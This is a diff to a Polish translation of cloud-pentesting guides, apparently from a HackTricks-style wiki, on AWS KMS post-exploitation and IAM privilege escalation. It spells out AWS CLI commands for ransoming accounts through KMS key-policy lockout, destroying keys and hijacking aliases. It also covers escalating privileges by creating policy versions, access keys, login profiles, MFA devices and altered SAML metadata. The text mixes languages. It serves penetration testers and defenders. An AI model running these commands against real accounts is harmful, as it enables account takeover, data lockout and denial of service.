diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md index ee1bbbc74..49897633b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -10,17 +10,17 @@ Więcej informacji: ../../aws-services/aws-kms-enum.md {{#endref}} -### Szyfrowanie/Deszyfrowanie informacji +### Encrypt/Decrypt information -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: +`fileb://` and `file://` są schematami URI używanymi w poleceniach AWS CLI do wskazania ścieżki do lokalnych plików: -- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używany dla plików niebędących tekstowymi. -- `file://:` Odczytuje plik w trybie tekstowym, zwykle używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymogów kodowania. +- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używane dla plików binarnych. +- `file://:` Odczytuje plik w trybie tekstowym, zwykle używane dla zwykłych plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania. > [!TIP] -> Zwróć uwagę, że jeśli chcesz odszyfrować dane znajdujące się w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://) +> Zauważ, że jeśli chcesz decrypt danych wewnątrz pliku, plik musi zawierać surowe dane binarne, a nie dane zakodowane base64. (fileb://) -- Użycie **klucza symetrycznego** +- Using a **symmetric** key ```bash # Encrypt data aws kms encrypt \ @@ -62,12 +62,12 @@ aws kms decrypt \ Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i **przyznać swojemu kontu dostęp do nich**, usuwając dostęp przyznany prawowitemu kontu. -Wtedy użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, ale skuteczne ransomware na konto. +W rezultacie użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, lecz skuteczne ransomware wymierzone w konto. > [!WARNING] -> Zauważ, że **AWS managed keys aren't affected** przez ten atak, tylko **Customer managed keys**. +> Zwróć uwagę, że **AWS managed keys aren't affected** przez ten atak; dotyczy to tylko **Customer managed keys**. -> Zwróć też uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w web console sprawia, że atak jest możliwy jedynie z CLI). +> Zwróć też uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli webowej powoduje, że ten atak jest możliwy tylko z poziomu CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,18 +92,18 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**. +> Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z konta zewnętrznego**.
-### Generic KMS Ransomware +### Ogólny KMS Ransomware -Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki: +Istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki: -- Utwórz nowy **key with a key material** zaimportowany przez atakującego -- **Re-encrypt older data** ofiary zaszyfrowanych poprzednią wersją, używając nowej -- **Delete the KMS key** -- W tej sytuacji tylko atakujący, który posiada oryginalny key material, będzie w stanie odszyfrować zaszyfrowane dane +- Utwórz nowy **klucz z materiałem klucza** zaimportowanym przez atakującego +- **Ponownie zaszyfruj starsze dane** ofiary, które były zaszyfrowane poprzednią wersją, przy użyciu nowego klucza +- **Usuń klucz KMS** +- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane ### Delete Keys via kms:DeleteImportedKeyMaterial @@ -111,9 +111,9 @@ With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imp ```bash aws kms delete-imported-key-material --key-id ``` -### Niszczenie keys +### Niszczenie kluczy -Niszczenie keys umożliwia przeprowadzenie DoS. +Niszczenie kluczy może spowodować DoS. ```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ @@ -121,10 +121,10 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> Zwróć uwagę, że AWS obecnie **uniemożliwia wykonywanie powyższych działań z poziomu cross account:** +> Zwróć uwagę, że AWS teraz **uniemożliwia wykonywanie poprzednich działań z innego konta:** -### Zmień lub usuń Alias -Ten atak usuwa lub przekierowuje AWS KMS aliases, zaburzając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach polegających na tych aliasach, skutkując denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do key ID, może przestać działać, dopóki alias nie zostanie przywrócony lub poprawnie ponownie zmapowany. +### Zmiana lub usunięcie aliasu +Ten atak usuwa lub przekierowuje aliasy AWS KMS, przerywając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach, które polegają na tych aliasach, co skutkuje denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub ponownie wskazać aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast ID klucza, może nie działać do czasu przywrócenia aliasu lub jego prawidłowego odwzorowania. ```bash # Delete Alias aws kms delete-alias --alias-name alias/ @@ -135,7 +135,7 @@ aws kms update-alias \ --target-key-id ``` ### Cancel Key Deletion -Z uprawnieniami takimi jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. W ten sposób odzyskuje się klucz (początkowo w stanie Disabled) i przywraca jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając eksfiltrację. +Posiadając uprawnienia takie jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie AWS KMS customer master key i później ponownie je włączyć. W ten sposób klucz zostaje odzyskany (początkowo w stanie Disabled) i przywraca się jego zdolność do odszyfrowania wcześniej chronionych danych, umożliwiając exfiltration. ```bash # Firts cancel de deletion aws kms cancel-key-deletion \ @@ -145,22 +145,23 @@ aws kms cancel-key-deletion \ aws kms enable-key \ --key-id ``` -### Disable Key -Dzięki uprawnieniu `kms:DisableKey` atakujący może wyłączyć AWS KMS customer master key, uniemożliwiając jego użycie do encryption lub decryption. To przerywa dostęp dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony. +### Wyłączenie klucza + +Z uprawnieniem `kms:DisableKey` aktor może wyłączyć AWS KMS customer master key (CMK), uniemożliwiając jego użycie do szyfrowania lub odszyfrowywania. To przerywa dostęp dla wszelkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony. ```bash aws kms disable-key \ --key-id ``` -### Wyprowadzenie współdzielonego sekretu -Z uprawnieniem `kms:DeriveSharedSecret`, podmiot może użyć KMS-held private key oraz user-supplied public key, aby obliczyć ECDH shared secret. +### Wyprowadzenie wspólnego sekretu +Dzięki uprawnieniu `kms:DeriveSharedSecret` podmiot może użyć klucza prywatnego przechowywanego w KMS oraz klucza publicznego dostarczonego przez użytkownika, aby obliczyć wspólny sekret ECDH. ```bash aws kms derive-shared-secret \ --key-id \ --public-key fileb:/// \ --key-agreement-algorithm ``` -### Podszywanie się przez kms:Sign -Z uprawnieniem `kms:Sign` aktor może użyć KMS-stored CMK do kryptograficznego podpisania danych bez ujawniania klucza prywatnego, tworząc ważne podpisy, które mogą umożliwić podszywanie się lub autoryzować złośliwe działania. +### Impersonation via kms:Sign +Z uprawnieniem `kms:Sign` podmiot może użyć CMK przechowywanej w KMS, aby cryptographically sign danych bez ujawniania private key, tworząc prawidłowe signatures, które mogą umożliwić impersonation lub autoryzować złośliwe działania. ```bash aws kms sign \ --key-id \ @@ -168,8 +169,8 @@ aws kms sign \ --signing-algorithm \ --message-type RAW ``` -### DoS with Custom Key Stores -Z uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` czy `kms:UpdateCustomKeyStore`, actor może zmodyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne stają się nieużywalne. To przerywa operacje szyfrowania, deszyfrowania i podpisywania dla usług korzystających z tych kluczy i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne. +### DoS z Custom Key Stores +Z uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` lub `kms:UpdateCustomKeyStore`, aktor może modyfikować, odłączać lub usuwać AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne przestają działać. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla usług, które polegają na tych kluczach i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne. ```bash aws kms delete-custom-key-store --custom-key-store-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 5e92260cd..e9dcebc7f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Aby uzyskać więcej informacji o IAM, zobacz: +Aby uzyskać więcej informacji o IAM zobacz: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,45 +12,64 @@ Aby uzyskać więcej informacji o IAM, zobacz: ### **`iam:CreatePolicyVersion`** -Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` przez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie własnych uprawnień. +Umożliwia utworzenie nowej wersji polityki IAM, omijając konieczność posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Pozwala to na zdefiniowanie niestandardowych uprawnień. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie. +**Wpływ:** Bezpośrednio eskaluje uprawnienia, pozwalając na wykonanie dowolnej akcji na dowolnym zasobie. ### **`iam:SetDefaultPolicyVersion`** -Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może doprowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień. +Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może potencjalnie doprowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień. **Polecenie Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Wpływ:** Pośrednie privilege escalation poprzez umożliwienie dodatkowych uprawnień. +**Wpływ:** Pośrednie privilege escalation poprzez przyznanie dodatkowych uprawnień. -### **`iam:CreateAccessKey`** +### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do potencjalnego privilege escalation. +Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do potencjalnego privilege escalation. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rozszerzonych uprawnień innego użytkownika. + +Zwróć uwagę, że użytkownik może mieć utworzone maksymalnie 2 klucze dostępu, więc jeśli użytkownik ma już 2 klucze dostępu, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy: +```bash +aws iam delete-access-key --uaccess-key-id +``` +### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** + +Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz skutecznie zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej MFA dla jego poświadczeń. + +**Exploit:** +```bash +# Create a virtual MFA device (this returns the serial and the base32 seed) +aws iam create-virtual-mfa-device --virtual-mfa-device-name + +# Generate 2 consecutive TOTP codes from the seed, then enable it for the user +aws iam enable-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**Impact:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rejestracji MFA użytkownika (a następnie użycie ich uprawnień). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Pozwala na tworzenie lub aktualizację profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień. +Pozwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień. **Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit dla aktualizacji:** +**Exploit do aktualizacji:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -59,19 +78,19 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require ### **`iam:UpdateAccessKey`** -Pozwala na włączenie wyłączonego access key, co może doprowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony access key. +Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień przez reaktywację access keys. +**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Pozwala na generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika. +Pozwala na wygenerowanie lub zresetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), które dziedziczą uprawnienia powiązanego użytkownika. -**Eksploit do tworzenia:** +**Exploit for Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` @@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień w obrębie uprawnień usług przypisanych użytkownikowi. +**Impact:** Bezpośrednia eskalacja uprawnień w ramach uprawnień do usług przypisanych użytkownikowi. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Pozwala na dołączanie polityk do użytkowników lub grup, co bezpośrednio eskaluje uprawnienia poprzez odziedziczenie uprawnień z dołączonej polityki. +Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki. -**Eksploatacja dla użytkownika:** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` @@ -93,17 +112,17 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, do czego uprawnia dana polityka. +**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje polityka. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Umożliwia dołączanie lub przypisywanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień. +Pozwala na dołączanie lub dodawanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez nadanie dodatkowych uprawnień. -**Exploit for Role:** +**Eksploit dla roli:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Exploit dla Inline Policies:** +**Eksploit dla Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -127,11 +146,11 @@ Możesz użyć polityki takiej jak: ] } ``` -**Wpływ:** Bezpośrednie privilege escalation poprzez nadawanie uprawnień za pomocą policies. +**Impact:** Bezpośrednia eskalacja uprawnień przez dodanie permissions za pomocą policies. ### **`iam:AddUserToGroup`** -Umożliwia dodanie siebie do grupy IAM, prowadząc do escalating privileges poprzez dziedziczenie uprawnień grupy. +Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez odziedziczenie permissions przypisanych tej grupie. **Exploit:** ```bash @@ -141,14 +160,14 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -Pozwala zmienić dokument polityki assume role dla roli, co umożliwia przyjęcie tej roli i uzyskanie związanych z nią uprawnień. +Pozwala na zmianę dokumentu assume role policy roli, co umożliwia przejęcie tej roli i zdobycie jej powiązanych uprawnień. -**Wykorzystanie:** +**Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia tej roli: +Gdy polityka wygląda następująco, daje ona użytkownikowi uprawnienie do przyjęcia roli: ```json { "Version": "2012-10-17", @@ -163,38 +182,38 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj ] } ``` -**Wpływ:** Direct privilege escalation by assuming any role's permissions. +**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do potencjalnego indirect privilege escalation. +Pozwala na przesłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień. **Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit dla dezaktywacji MFA:** +**Exploit do dezaktywacji MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Wpływ:** Pośrednie eskalowanie uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA. +**Wpływ:** Pośrednia eskalacja uprawnień poprzez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA. ### **`iam:ResyncMFADevice`** -Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień przez manipulowanie ochroną MFA. +Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA. **Polecenie Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Wpływ:** Niebezpośrednia eskalacja uprawnień przez dodawanie lub manipulowanie urządzeniami MFA. +**Wpływ:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby **zalogować się** przy użyciu dowolnej **roli, która jej ufa**. +Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** jako dowolna **rola, która jej ufa**. -Zauważ, że wykonanie tego spowoduje, że **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, wstawić swój, zalogować się i przywrócić poprzednią konfigurację. +Należy pamiętać, że przy wykonaniu tego **prawdziwi użytkownicy nie będą mogli login**. Możesz jednak pobrać XML, wstawić swój, login i przywrócić poprzednią konfigurację. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Narzędzie zdolne do wygenerowania metadanych SAML i zalogowania się z określoną rolą +> TODO: Narzędzie zdolne do wygenerowania metadanych SAML i zalogowania się przy użyciu określonej roli ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy. +(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, co pozwoli mu zalogować się do wszystkich ról ufających dostawcy. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia poprzez umożliwienie wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia. +To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego privileges i umożliwiając wykonywanie akcji, które normalnie są ograniczone przez jego obecne uprawnienia. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić permissions boundary dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując zakłócenia w działaniu usług) lub, jeśli przypisze przyzwalającą boundary, skutecznie rozszerzyć możliwości roli i eskalować uprawnienia. +Podmiot posiadający iam:PutRolePermissionsBoundary może ustawić permissions boundary dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia permissions boundary roli: może nieprawidłowo ograniczyć operacje (powodując zakłócenia usług) lub, jeśli dołączy permissive boundary, skutecznie rozszerzyć możliwości roli i eskalować uprawnienia. ```bash aws iam put-role-permissions-boundary \ --role-name \